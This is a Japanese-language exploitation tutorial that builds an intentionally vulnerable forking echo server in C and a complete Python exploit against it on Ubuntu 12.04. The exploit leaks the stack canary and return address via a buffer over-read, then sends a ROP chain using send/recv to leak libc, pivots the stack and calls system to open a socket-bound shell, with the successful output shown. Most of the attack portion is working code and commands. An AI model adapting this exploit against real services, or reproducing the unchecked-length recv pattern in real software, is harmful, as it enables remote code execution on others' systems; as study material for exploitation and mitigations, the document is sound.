Smashing the stack bypassing ASLR+PIE+DEP+SSP(+RELRO)

buffer over-readおよびスタックバッファオーバーフローを利用し、ASLR+PIE+DEP+SSP(+RELRO)がすべて有効な条件下におけるシェル起動をやってみる。 なお、ここではGOT overwriteなどは行わないため、RELROの有無に意味はない。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

buffer over-readおよびスタックバッファオーバーフローが起こせるforkサーバを書いてみる。

/* echod.c */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>

void handle_client(int c)
{
    char buf[100];
    int size;
    recv(c, &size, 4, 0);
    recv(c, buf, size, 0);
    send(c, buf, size, 0);
}

int main(int argc, char *argv[])
{
    int s, c;
    struct sockaddr_in addr;
    int port;
    int pid;

    port = atoi(argv[1]);

    s = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(s, (struct sockaddr *)&addr, sizeof(addr));

    listen(s, 5);

    while (1) {
        c = accept(s, NULL, NULL);
        pid = fork();
        if (pid == 0) {
            close(s);
            handle_client(c);
            close(c);
            return 0;
        } else {
            close(c);
        }
    }
}

このプログラムは、第一引数に待ち受けるポート番号を取る。 起動したサーバは接続が確立した後まず最初の4バイトでデータ長を受け取り、その後に続くデータをそのままクライアントに送り返す。

ASLR+PIE+DEP+SSP(+RERLO)有効にてコンパイルし、サーバを起動してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fPIE -pie -Wl,-z,relro,-z,now echod.c

$ ./a.out 5000 &
[1] 5119

ここでchecksec.shを使い、各種セキュリティ機構の有無を確認すると次のようになる。

$ wget http://www.trapkit.de/tools/checksec.sh

$ chmod +x checksec.sh

$ ./checksec.sh --file a.out
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   a.out

RELRO、SSP (Stack canary)、DEP (NX)、PIEがすべて有効になっていることがわかる。

エクスプロイトコードを書いてみる

send/recvを使ったROP stagerによるエクスプロイトコードを書くと、次のようになる。

# exploit.py

import struct
import socket
import telnetlib

bufsize = 100
sock_fd = 4
stack_size = 0x800

offset_retaddr = 0x8d2                # objdump -d a.out | grep -A1 '<handle_client>'
offset_bss = 0x2008                   # readelf -S a.out
offset_got = 0x1fac                   # readelf -S a.out
offset_plt_recv = 0x610               # objdump -d -j.plt a.out
offset_plt_send = 0x630               # objdump -d -j.plt a.out
offset_got_start = offset_got + 0x20  # objdump -d -j.plt a.out
offset_pop4 = 0x96c                   # objdump -d a.out
offset_pop_ebp = 0x6fe                # objdump -d a.out
offset_pop_ebx = 0x540                # objdump -d a.out
offset_leave_ret = 0x908              # objdump -d a.out
offset_libc_start = 0x000193e0        # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main"
offset_libc_system = 0x0003f430       # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
offset_libc_exit = 0x00032fb0         # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"

size = bufsize + 20
buf = 'AAAA'

s = socket.create_connection(('localhost', 5000))
s.sendall(struct.pack('<I', size))
s.sendall(buf)
data = s.recv(size)
print "[+] received: %r" % data
s.close()

canary = data[bufsize:bufsize+4]
retaddr = struct.unpack('<I', data[bufsize+16:bufsize+16+4])[0]
print "[+] canary = %r" % canary
print "[+] retaddr = %08x" % retaddr
base_bin = retaddr - offset_retaddr
print "[+] base_bin = %08x" % base_bin

buf = 'A' * bufsize
buf += canary
buf += 'AAAA' * 3
buf += struct.pack('<I', base_bin + offset_pop_ebx)
buf += struct.pack('<I', base_bin + offset_got)
buf += struct.pack('<I', base_bin + offset_plt_send)
buf += struct.pack('<I', base_bin + offset_pop4)
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', base_bin + offset_got_start)
buf += struct.pack('<I', 4)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_bin + offset_pop_ebx)
buf += struct.pack('<I', base_bin + offset_got)
buf += struct.pack('<I', base_bin + offset_plt_recv)
buf += struct.pack('<I', base_bin + offset_pop4)
buf += struct.pack('<I', sock_fd)
buf += struct.pack('<I', base_bin + offset_bss + stack_size)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_bin + offset_pop_ebp)
buf += struct.pack('<I', base_bin + offset_bss + stack_size)
buf += struct.pack('<I', base_bin + offset_leave_ret)
size = len(buf)

s = socket.create_connection(('localhost', 5000))
s.sendall(struct.pack('<I', size))
s.sendall(buf)
data = s.recv(4)
addr_libc_start = struct.unpack('<I', data)[0]
print "[+] addr_libc_start = %08x" % addr_libc_start
base_libc = addr_libc_start - offset_libc_start
print "[+] base_libc = %08x" % base_libc

buf = 'AAAA'
buf += struct.pack('<I', base_libc + offset_libc_system)
buf += struct.pack('<I', base_libc + offset_libc_exit)
buf += struct.pack('<I', base_bin + offset_bss + stack_size + 20)
buf += struct.pack('<I', 0)
buf += '/bin/sh <&4 >&4\x00'
buf += 'A' * (100-len(buf))

s.sendall(buf)

t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()

このコードは引数は取らない。

このコードは、まずbuffer over-readによりcanaryとリターンアドレスの値を読み出す。 ここで、リターンアドレスにはmain関数においてhandle_clientを呼んだ後の命令のアドレスが入る。 つまり、実行ファイル中におけるその命令のオフセットをリターンアドレスから引くことで、実行ファイルが置かれたベースアドレスが計算できる。 ここで一度コネクションが切れ、次のコネクションでは接続先のプロセスが異なるものとなるが、同一の親プロセスからforkしているためcanaryやメモリレイアウトは共通となる。

次に、実行ファイルのベースアドレスをもとにsend/recvを使ったROP stagerを送り込む。 これが実行されると、sendにより__libc_start_main関数のアドレスを読み出した後、recvによりBSSセクションから0x800バイト先にデータが読み込まれる。 そして、pop ebp; retleave; retにより読み込み先のアドレスにstack pivotを行う。

最後に、__libc_start_main関数のアドレスからlibcのベースアドレスを計算し、system関数によりシェル起動を行うROPシーケンスを送り込む。 ここでsystem関数の引数には、標準入出力をソケットに繋いだ上でシェルを起動するコマンド文字列を指定する。

なお、PIEが有効な場合において、PLTセクションをディスアセンブルすると次のようになる。

$ objdump -d -j.plt a.out

000005b0 <__libc_start_main@plt>:
 5b0:   ff a3 20 00 00 00       jmp    DWORD PTR [ebx+0x20]
 5b6:   68 28 00 00 00          push   0x28
 5bb:   e9 90 ff ff ff          jmp    550 <_init+0x3c>

ここでGOTアドレスがebx+0x20として参照されているが、このebxにはGOTセクションの先頭アドレスが入る。 したがって、readelf -S a.outなどによりGOTセクションのオフセットを調べておくことで、実行ファイル全体におけるGOTアドレスのオフセットが計算できる。 また、PLTセクションにreturnする前にはebxにGOTセクションのアドレスをセットしておく必要がある。

実行してみると、次のようになる。

$ python exploit.py
[+] received: 'AAAA09\xfd\xbf\xff\x0f\x00\x00\xd6\x84h\xb7u\x85h\xb7\xaf\xcel\xb7\xc0\xaa{\xb7\x00\x00\x00\x00\x08$\xfd\xbf7\x83d\xb709\xfd\xbf\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x009a\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf#\xfd\xbf\xfd\x82d\xb7\xac\xaf~\xb7\xf4\x9f{\xb709\xfd\xbf\x00\x00\x00\x00K\xcdl\xb7\x00\x84 \xe9\x00\x00\x00\x00\xac\xaf~\xb7\x08$\xfd\xbf\xd2\x98~\xb7'
[+] canary = '\x00\x84 \xe9'
[+] retaddr = b77e98d2
[+] base_bin = b77e9000
[+] addr_libc_start = b762d3e0
[+] base_libc = b7614000
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

canaryの値、実行ファイルのベースアドレス、libcのベースアドレスを順に得た後、シェルが起動できていることが確認できた。